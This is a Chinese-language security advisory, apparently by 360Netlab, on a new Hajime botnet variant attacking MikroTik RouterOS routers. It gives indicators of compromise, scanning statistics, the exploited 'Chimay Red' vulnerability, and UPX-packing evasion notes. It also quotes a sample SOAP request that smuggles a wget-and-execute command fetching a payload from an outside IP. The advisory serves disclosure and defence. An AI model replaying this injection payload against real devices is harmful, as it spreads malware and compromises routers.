安全威胁预警：Hajime 新版本开始攻击 MikroTik.RouterOS
<!--kg-card-begin: markdown--><h4 id="ioc">IoC</h4>
<p>部分下载URL如下，完整列表可以从 <a href="__GHOST_URL__/file/hajime.MikroTik.RouterOS.downloader.url.txt">这里</a> 下载</p>
<pre><code>2018-03-26T10:30:00	hxxp://43.252.221.104:2722/4
2018-03-26T10:30:00	hxxp://43.252.221.104:2722/4
2018-03-26T10:30:00	hxxp://82.9.128.142:31735/4
2018-03-26T10:30:00	hxxp://82.9.128.142:31735/4
2018-03-26T11:30:00	hxxp://109.185.142.251:1714/4
2018-03-26T11:30:00	hxxp://109.185.142.251:1714/4
2018-03-26T11:30:00	hxxp://113.130.234.9:8728/4
2018-03-26T11:30:00	hxxp://113.130.234.9:8728/4
2018-03-26T11:30:00	hxxp://93.117.79.49:11826/4
2018-03-26T11:30:00	hxxp://93.117.79.49:11826/4
</code></pre>
<h4 id="">规模统计</h4>
<p>但钱在扫描</p>
<ul>
<li>扫描规模  13.5k/24小时 8291 端口，按照独立来源IP地址计算，</li>
</ul>
<h4 id="">所属家族</h4>
<p>属于 hajime</p>
<ul>
<li>hajime的背景情况，见我们之前的文章和统计页面</li>
<li>漏洞利用在老的hajime 版本里就集成了，现在是用这个老漏洞重新开始扫描这些端口</li>
<li>扫描端口 TCP:7547,TCP:80,TCP:8080,TCP:8081,TCP:8082,TCP:81,TCP:82</li>
<li>王辉：我看到传这个样本的ip一共有243个， 这些ip绝大部分之前都没看到任何扫描活动，都是今天开始扫8291, 23 81 82 8181 8082 8089 这些端口的</li>
<li>曲文集： 80,81,82,8080,8081,8082,8089,8181,8880,8291,7547,5555</li>
<li>曲文集： 23,5358（telnet crack)</li>
</ul>
<h4 id="">投入方式</h4>
<p>漏洞利用：</p>
<ul>
<li>MikroTik RouterOS &lt; 6.38.4 (MIPSBE) - 'Chimay Red' Stack Clash Remote Code Execution
<ul>
<li><a href="https://www.exploit-db.com/exploits/44284/">https://www.exploit-db.com/exploits/44284/</a></li>
</ul>
</li>
<li>MikroTik RouterOS &lt; 6.38.4 (x86) - 'Chimay Red' Stack Clash Remote Code Execution
<ul>
<li><a href="https://www.exploit-db.com/exploits/44284/">https://www.exploit-db.com/exploits/44284/</a></li>
</ul>
</li>
</ul>
<p>示例攻击payload如下：</p>
<pre><code>POST /UD/act?1 HTTP/1.1
Host: ***.***.***.***:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7
Content-Length: 517
Content-Type: text/xml
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers

&lt;?xml version=&quot;1.0&quot;?&gt;&lt;SOAP-ENV:Envelope xmlns:SOAP-ENV=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; SOAP-ENV:encodingStyle=&quot;http://schemas.xmlsoap.org/soap/encoding/&quot;&gt; &lt;SOAP-ENV:Body&gt;  &lt;u:SetNTPServers xmlns:u=&quot;urn:dslforum-org:service:Time:1&quot;&gt; &lt;NewNTPServer1&gt;`cd /tmp;wget http://92.115.163.126:13218/4;chmod 777 4;./4`&lt;/NewNTPServer1&gt;&lt;NewNTPServer2&gt;&lt;/NewNTPServer2&gt;&lt;NewNTPServer3&gt;&lt;/NewNTPServer3&gt;&lt;NewNTPServer4&gt;&lt;/NewNTPServer4&gt;&lt;NewNTPServer5&gt;&lt;/NewNTPServer5&gt; &lt;/u:SetNTPServers&gt; &lt;/SOAP-ENV:Body&gt;&lt;/SOAP-ENV:Envelope&gt;
</code></pre>
<h4 id="">获利方式</h4>
<p>当前在扫描 8291 端口<br>
无，hajime 家族历史上不寻求获利</p>
<h4 id="">逃避手段</h4>
<p>加壳，UPX壳，符合 hajime 历史习惯<br>
本次恶意代码更改了UPX壳的幻数</p>
<h4 id="">联系我们</h4>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者在微信公众号 <strong>360Netlab</strong> 上联系我们。</p>
<!--kg-card-end: markdown-->
IoC


部分下载URL如下，完整列表可以从 这里 下载


2018-03-26T10:30:00	hxxp://43.252.221.104:2722/4
2018-03-26T10:30:00	hxxp://43.252.221.104:2722/4
2018-03-26T10:30:00	hxxp://82.9.128.142:31735/4
2018-03-26T10:30:00	hxxp://82.9.128.142:31735/4
2018-03-26T11:30:00	hxxp://109.185.142.251:1714/4
2018-03-26T11:30:00	hxxp://109.185.142.251:1714/4
2018-03-26T11:30:00	hxxp://113.130.234.9:8728/4
2018-03-26T11:30:00	hxxp://113.130.234.9:8728/4
2018-03-26T11:30:00	hxxp://93.117.79.49:11826/4
2018-03-26T11:30:00	hxxp://93.117.79.49:11826/4



规模统计


但钱在扫描


 * 扫描规模 13.5k/24小时 8291 端口，按照独立来源IP地址计算，


所属家族


属于 hajime


 * hajime的背景情况，见我们之前的文章和统计页面
 * 漏洞利用在老的hajime 版本里就集成了，现在是用这个老漏洞重新开始扫描这些端口
 * 扫描端口 TCP:7547,TCP:80,TCP:8080,TCP:8081,TCP:8082,TCP:81,TCP:82
 * 王辉：我看到传这个样本的ip一共有243个， 这些ip绝大部分之前都没看到任何扫描活动，都是今天开始扫8291, 23 81 82 8181 8082 8089 这些端口的
 * 曲文集： 80,81,82,8080,8081,8082,8089,8181,8880,8291,7547,5555
 * 曲文集： 23,5358（telnet crack)


投入方式


漏洞利用：


 * MikroTik RouterOS < 6.38.4 (MIPSBE) - 'Chimay Red' Stack Clash Remote Code Execution
   
   * https://www.exploit-db.com/exploits/44284/
   
 * MikroTik RouterOS < 6.38.4 (x86) - 'Chimay Red' Stack Clash Remote Code Execution
   
   * https://www.exploit-db.com/exploits/44284/
   


示例攻击payload如下：


POST /UD/act?1 HTTP/1.1
Host: ***.***.***.***:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7
Content-Length: 517
Content-Type: text/xml
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers

<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body>  <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://92.115.163.126:13218/4;chmod 777 4;./4`</NewNTPServer1><NewNTPServer2></NewNTPServer2><NewNTPServer3></NewNTPServer3><NewNTPServer4></NewNTPServer4><NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>



获利方式


当前在扫描 8291 端口

无，hajime 家族历史上不寻求获利


逃避手段


加壳，UPX壳，符合 hajime 历史习惯

本次恶意代码更改了UPX壳的幻数


联系我们


感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"#### IoC \n\n部分下载URL如下，完整列表可以从 [这里](__GHOST_URL__/file/hajime.MikroTik.RouterOS.downloader.url.txt) 下载\n```\n2018-03-26T10:30:00\thxxp://43.252.221.104:2722/4\n2018-03-26T10:30:00\thxxp://43.252.221.104:2722/4\n2018-03-26T10:30:00\thxxp://82.9.128.142:31735/4\n2018-03-26T10:30:00\thxxp://82.9.128.142:31735/4\n2018-03-26T11:30:00\thxxp://109.185.142.251:1714/4\n2018-03-26T11:30:00\thxxp://109.185.142.251:1714/4\n2018-03-26T11:30:00\thxxp://113.130.234.9:8728/4\n2018-03-26T11:30:00\thxxp://113.130.234.9:8728/4\n2018-03-26T11:30:00\thxxp://93.117.79.49:11826/4\n2018-03-26T11:30:00\thxxp://93.117.79.49:11826/4\n```\n\n#### 规模统计\n\n 但钱在扫描 \n - 扫描规模  13.5k/24小时 8291 端口，按照独立来源IP地址计算，\n\n#### 所属家族\n\n 属于 hajime \n\n - hajime的背景情况，见我们之前的文章和统计页面\n - 漏洞利用在老的hajime 版本里就集成了，现在是用这个老漏洞重新开始扫描这些端口\n - 扫描端口 TCP:7547,TCP:80,TCP:8080,TCP:8081,TCP:8082,TCP:81,TCP:82\n - 王辉：我看到传这个样本的ip一共有243个， 这些ip绝大部分之前都没看到任何扫描活动，都是今天开始扫8291, 23 81 82 8181 8082 8089 这些端口的\n - 曲文集： 80,81,82,8080,8081,8082,8089,8181,8880,8291,7547,5555\n - 曲文集： 23,5358（telnet crack)\n#### 投入方式\n漏洞利用： \n\n - MikroTik RouterOS < 6.38.4 (MIPSBE) - 'Chimay Red' Stack Clash Remote Code Execution\n   - https://www.exploit-db.com/exploits/44284/\n - MikroTik RouterOS < 6.38.4 (x86) - 'Chimay Red' Stack Clash Remote Code Execution\n   - https://www.exploit-db.com/exploits/44284/\n\n\n\n示例攻击payload如下：\n```\nPOST /UD/act?1 HTTP/1.1\nHost: ***.***.***.***:8081\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7\nContent-Length: 517\nContent-Type: text/xml\nSOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers\n\n<?xml version=\"1.0\"?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"> <SOAP-ENV:Body>  <u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1\"> <NewNTPServer1>`cd /tmp;wget http://92.115.163.126:13218/4;chmod 777 4;./4`</NewNTPServer1><NewNTPServer2></NewNTPServer2><NewNTPServer3></NewNTPServer3><NewNTPServer4></NewNTPServer4><NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>\n```\n\n#### 获利方式\n 当前在扫描 8291 端口\n 无，hajime 家族历史上不寻求获利\n\n#### 逃避手段\n\n 加壳，UPX壳，符合 hajime 历史习惯\n 本次恶意代码更改了UPX壳的幻数\n\n#### 联系我们\n\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者在微信公众号 **360Netlab** 上联系我们。"}]],"sections":[[10,0]],"ghostVersion":"3.0"}